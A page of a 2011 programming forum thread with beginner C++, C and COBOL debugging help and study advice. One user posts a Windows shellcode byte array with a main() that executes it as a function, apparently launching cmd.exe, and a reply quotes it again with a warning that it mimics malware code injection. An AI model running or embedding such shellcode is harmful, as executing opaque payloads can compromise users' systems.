The Big Programming Thread - Page 79
Forum Index > General Forum |
Thread Rules 1. This is not a "do my homework for me" thread. If you have specific questions, ask, but don't post an assignment or homework problem and expect an exact solution. 2. No recruiting for your cockamamie projects (you won't replace facebook with 3 dudes you found on the internet and $20) 3. If you can't articulate why a language is bad, don't start slinging shit about it. Just remember that nothing is worse than making CSS IE6 compatible. 4. Use [code] tags to format code blocks. | ||
OpAndroid
United States84 Posts
| ||
eFonSG
United States255 Posts
On September 18 2011 01:40 EscPlan9 wrote: I remember doing a similar exercise back in my first java class. I believe I did it just with a mixture of Substring and IndexOf methods. Split would be easier though. Check javadocs String class for the Substring and IndexOf method documentation if you decide to go that route. Use the IndexOf method taking a string and integer as parameters (so you can specify not only the " " whitespace string, but also the position to start the search from so you can substring out the names you need). Thanks, got it working now, appreciate the help! | ||
Spartan
United States2030 Posts
On September 18 2011 01:21 Shootist wrote: Out of curiosity, what domain are most of the programmers/developers here in? Web, mobile, enterprise systems, etc? I run a little web agency where I also do the web development work (HTML5/PHP/MySQL). By day I'm a Web Developer for Trion Worlds (our first game was the MMORPG called Rift); by night I'm a Web Engineer (design & development) for Vile Gaming and Riiot, both of which I founded. | ||
CatalysT.
59 Posts
+ Show Spoiler + 1 #include <iostream> 2 3 using namespace std; 4 5 void selectionSort(string [], int); 6 7 int main() 8 { 9 const int size = 4; 10 string array[size]; 11 12 for(int i = 0; i <= size; i++) 13 { 14 string input; 15 cout << "enter 5 fruits: " << input << endl; 16 cin >> input; 17 array[i] = input; 18 } 19 20 selectionSort(array, 4); 21 22 for(int i = 0; i <= size; i++) 23 cout << array[i] << endl; 24 } 25 26 void selectionSort(string array[], int size) 27 { 28 int startScan; 29 string minIndex; 30 string minValue; 31 32 for (startScan = 0; startScan < (size - 1); startScan++) 33 { 34 minIndex = startScan; 35 minValue = array[startScan]; 36 37 for(int index = startScan + 1; index < size; index++) 38 { 39 if (array[index] < minValue) 40 { 41 minValue = array[index]; 42 minIndex = index; 43 } 44 } 45 array[minIndex] = array[startScan]; 46 array[startScan] = minValue; 47 } 48 } !g++ prog2test.cpp && a.out prog2test.cpp: In function `void selectionSort(std::string*, int)': prog2test.cpp:45: error: no match for 'operator[]' in 'array[minIndex]' | ||
EvanED
United States111 Posts
| ||
CatalysT.
59 Posts
enter 5 fruits: grape enter 5 fruits: apple enter 5 fruits: orange enter 5 fruits: peach enter 5 fruits: pear Segmentation Fault (core dumped) the problem works if i use the size of array as 5 but i get the segmentation error with int size = 4 | ||
EvanED
United States111 Posts
(In C and C++, segfaults usually mean one of two things: out of bounds in an array, or null pointer dereference.) | ||
Azzur
Australia6259 Posts
On September 21 2011 13:25 CatalysT. wrote: I figured out my problem but now im getting a segmentation error where it says enter 5 fruits: grape enter 5 fruits: apple enter 5 fruits: orange enter 5 fruits: peach enter 5 fruits: pear Segmentation Fault (core dumped) the problem works if i use the size of array as 5 but i get the segmentation error with int size = 4 I don't use C++ but I don't understand why you're using an array of size 4 when you want 5 fruits... Also, your for-loop should be like this: for(int i = 0; i < size; i++) | ||
haduken
Australia8267 Posts
| ||
![]()
tofucake
Hyrule19031 Posts
| ||
elimzkE
Australia92 Posts
| ||
Abductedonut
United States324 Posts
+ Show Spoiler + unsigned char shellcode[]= "\xFC\x33\xD2\xB2\x30\x64\xFF\x32\x5A\x8B" "\x52\x0C\x8B\x52\x14\x8B\x72\x28\x33\xC9" "\xB1\x18\x33\xFF\x33\xC0\xAC\x3C\x61\x7C" "\x02\x2C\x20\xC1\xCF\x0D\x03\xF8\xE2\xF0" "\x81\xFF\x5B\xBC\x4A\x6A\x8B\x5A\x10\x8B" "\x12\x75\xDA\x8B\x53\x3C\x03\xD3\xFF\x72" "\x34\x8B\x52\x78\x03\xD3\x8B\x72\x20\x03" "\xF3\x33\xC9\x41\xAD\x03\xC3\x81\x38\x47" "\x65\x74\x50\x75\xF4\x81\x78\x04\x72\x6F" "\x63\x41\x75\xEB\x81\x78\x08\x64\x64\x72" "\x65\x75\xE2\x49\x8B\x72\x24\x03\xF3\x66" "\x8B\x0C\x4E\x8B\x72\x1C\x03\xF3\x8B\x14" "\x8E\x03\xD3\x52\x68\x78\x65\x63\x01\xFE" "\x4C\x24\x03\x68\x57\x69\x6E\x45\x54\x53" "\xFF\xD2\x68\x63\x6D\x64\x01\xFE\x4C\x24" "\x03\x6A\x05\x33\xC9\x8D\x4C\x24\x04\x51" "\xFF\xD0\x68\x65\x73\x73\x01\x8B\xDF\xFE" "\x4C\x24\x03\x68\x50\x72\x6F\x63\x68\x45" "\x78\x69\x74\x54\xFF\x74\x24\x20\xFF\x54" "\x24\x20\x57\xFF\xD0"; int main() { ((void (*)())shellcode)(); } Note that if you want to actually compile and run the program it must be done in C on windows. | ||
Sporadic44
United States533 Posts
I have to make a very simple program. The purpose is to take both name and age as input. Then I have to add 1 to the age, and then display both the name and age+1 as output. Here's what I have written to do this. + Show Spoiler + @OPTIONS MAIN * Program: AddAYear * Programmer: Stephen Spor * Description: Excercise: Program designed to take the user's name and age as input. * Then output displayed is the name and how old the user will be next year. * Status: Working/Running. Identification Division. Program-Id. AddAYear Environment Division. Data Division. Working-Storage Section. 01 Name PIC X(10). 01 Age PIC 9(2). 01 Age1 PIC Z(2). 01 Name1 PIC X(10). Procedure Division. DISPLAY "Hello, please input your name?(10 digit field):" WITH NO ADVANCING ACCEPT Name DISPLAY "How old are you?:" WITH NO ADVANCING ACCEPT Age ADD 1 TO Age MOVE Name TO Name1 MOVE Age TO Age1 DISPLAY Name1 Display "One year from today, you will be " Age1 Stop Run. I'm using fujitsu v3 to compile. The compiler hasnt caught any syntax errors. For the most part it runs like it should except one tiny thing. When the input for name does not utilize all 10 characters assigned for it, I get a 0 in the output following the name field. So if I write 123456789, then space, the output will read 123456789 0. WHERE THE FUCK IS THIS 0 COMING FROM. Any help is appreciated. Thanks. | ||
Deleted User 101379
4849 Posts
On September 21 2011 15:36 Abductedonut wrote: Here's something interesting for some of you programmers out there! Can you figure out what the line inside of main() does? + Show Spoiler + unsigned char shellcode[]= "\xFC\x33\xD2\xB2\x30\x64\xFF\x32\x5A\x8B" "\x52\x0C\x8B\x52\x14\x8B\x72\x28\x33\xC9" "\xB1\x18\x33\xFF\x33\xC0\xAC\x3C\x61\x7C" "\x02\x2C\x20\xC1\xCF\x0D\x03\xF8\xE2\xF0" "\x81\xFF\x5B\xBC\x4A\x6A\x8B\x5A\x10\x8B" "\x12\x75\xDA\x8B\x53\x3C\x03\xD3\xFF\x72" "\x34\x8B\x52\x78\x03\xD3\x8B\x72\x20\x03" "\xF3\x33\xC9\x41\xAD\x03\xC3\x81\x38\x47" "\x65\x74\x50\x75\xF4\x81\x78\x04\x72\x6F" "\x63\x41\x75\xEB\x81\x78\x08\x64\x64\x72" "\x65\x75\xE2\x49\x8B\x72\x24\x03\xF3\x66" "\x8B\x0C\x4E\x8B\x72\x1C\x03\xF3\x8B\x14" "\x8E\x03\xD3\x52\x68\x78\x65\x63\x01\xFE" "\x4C\x24\x03\x68\x57\x69\x6E\x45\x54\x53" "\xFF\xD2\x68\x63\x6D\x64\x01\xFE\x4C\x24" "\x03\x6A\x05\x33\xC9\x8D\x4C\x24\x04\x51" "\xFF\xD0\x68\x65\x73\x73\x01\x8B\xDF\xFE" "\x4C\x24\x03\x68\x50\x72\x6F\x63\x68\x45" "\x78\x69\x74\x54\xFF\x74\x24\x20\xFF\x54" "\x24\x20\x57\xFF\xD0"; int main() { ((void (*)())shellcode)(); } Note that if you want to actually compile and run the program it must be done in C on windows. Basically, it executes the data in shellcode as a function. This is also a method often used by virii, worms, trojans, etc. to inject code into other programs and execute their own code. Don't run this. I'm too lazy to analyze the shellcode but it can't be anything good when it's not written in plain code. | ||
Zocat
Germany2229 Posts
http://www.exploit-db.com/exploits/17323/ | ||
xoreyy
23 Posts
apcs and my cs class use java, if that's important thanks for any advice! | ||
catamorphist
United States297 Posts
On September 22 2011 01:46 xoreyy wrote: So I took APCS online in high school and did pretty well, got an A and a 4 on the AP exam which I thought was decent considering I had to teach the course to myself. I'm in my first semester of college now, taking CS110 because my college didn't accept AP 4's for credit. It's boring the hell out of me, because its APCS allllll over again. I'm genuinely interested in cs, and wanted to start moving forward on my own. However, I'm not really sure what to do or what direction to take next. Any of the experienced guys in here have any suggestions or pointers on how to progress on my own? apcs and my cs class use java, if that's important thanks for any advice! Best way to learn is by doing. Pick an open-source project that interests you and start working on it. Benefit over working on your own is that you'll learn more new things faster by collaborating with people who are more experienced than you. Other benefit is that it's a good resume item if you ever want to work as a programmer. Second-best way to learn is by studying. Pick at random; everyone will tell you to study something different. I would recommend that you should probably work through SICP. It'll help you learn to think about how to structure programs. If you find that you are not sufficiently motivated to work through SICP then I can also suggest Jack Crenshaw's "Let's Build a Compiler" papers, which you can find scattered around online with Google. It might sound like a weird choice, but I don't know of a lot of other materials where you can follow a very simple, step-by-step explanation of how to design and build something non-trivial. I read it when I was a beginning programmer and found it really instructive. | ||
doktorLucifer
United States855 Posts
The exercise says to use three numbers, but I made the mistake of writing it first for two. It's trivial to make it work for three, so I left it like that. So I'm trying to learn how to write basic functions, and I'm not sure why after inputting two values, I don't get anything spit back out from my two print functions. At first, my program was spitting two values back out, but one of would always be a TOTALLY different value. I'm mainly suspecting that I'm writing the control string for scanf incorrectly for this exercise, and it's doing something I'm not awares of? + Show Spoiler + /* ch4, ex34 Write a program that reads three integers and then prints them in the order read and reversed. Use four functions; main, one to read the data, one to print them in the order read, and one to print them reversed. */ #include<stdio.h> //function dec void readData(int* x, int* y); void printForward(int x, int y); void printReverse(int x, int y); int main(void) { //local var dec int num1; int num2; //statements readData(&num1, &num2); printForward(num1, num2); printReverse(num1, num2); while(1); //this is just to make the console not run away, should I not be doing this? return 0; } void readData(int* x, int* y) { printf("Give two numbers.\n"); scanf("%d %d ", &*x, &*y); /*is the &* correct? I know that the formal parameters are usually dereferenced, and scanf usually needs an address operator. But since I'm passing an address in the first place, can I just use 'scanf("%d %d", x, y)' ? */ return; } void printForward(int x, int y) { printf("The numbers are: %d, %d\n", x, y); return; } void printReverse(int x, int y) { printf("The numbers are: %d %d\n", y, x); return; } | ||
Bigpet
Germany533 Posts
On September 22 2011 05:03 doktorLucifer wrote: /*is the &* correct? I know that the formal parameters are usually dereferenced, and scanf usually needs an address operator. But since I'm passing an address in the first place, can I just use 'scanf("%d %d", x, y)' ? */ Yes &* is redundant edit: OMG. Don't do the while(1);. Just use getchar() to halt the console until you press a button. Also hurray for the formal signing of C++11 as an ISO standard. I'm hereby vowing that I will never again use memcpy() on any project where I'm allowed to use C++11. RValue references (move constructors specifically) and the new Array class (well not so new, it's been in TR1) will make memcpy finally obsolete for me. With the possible exception of having to use shitty APIs that make me do it. | ||
SpoR
United States1542 Posts
On September 21 2011 16:22 Sporadic44 wrote: Hey all, newcomer to programming here. I have a small problem with my COBOL assignment and I have no idea how to fix it. If anyone has some knowledge with the language any sort of insight on this would be really helpful. I have to make a very simple program. The purpose is to take both name and age as input. Then I have to add 1 to the age, and then display both the name and age+1 as output. Here's what I have written to do this. + Show Spoiler + @OPTIONS MAIN * Program: AddAYear * Programmer: Stephen Spor * Description: Excercise: Program designed to take the user's name and age as input. * Then output displayed is the name and how old the user will be next year. * Status: Working/Running. Identification Division. Program-Id. AddAYear Environment Division. Data Division. Working-Storage Section. 01 Name PIC X(10). 01 Age PIC 9(2). 01 Age1 PIC Z(2). 01 Name1 PIC X(10). Procedure Division. DISPLAY "Hello, please input your name?(10 digit field):" WITH NO ADVANCING ACCEPT Name DISPLAY "How old are you?:" WITH NO ADVANCING ACCEPT Age ADD 1 TO Age MOVE Name TO Name1 MOVE Age TO Age1 DISPLAY Name1 Display "One year from today, you will be " Age1 Stop Run. I'm using fujitsu v3 to compile. The compiler hasnt caught any syntax errors. For the most part it runs like it should except one tiny thing. When the input for name does not utilize all 10 characters assigned for it, I get a 0 in the output following the name field. So if I write 123456789, then space, the output will read 123456789 0. WHERE THE FUCK IS THIS 0 COMING FROM. Any help is appreciated. Thanks. Your last name is spor, sick | ||
| ||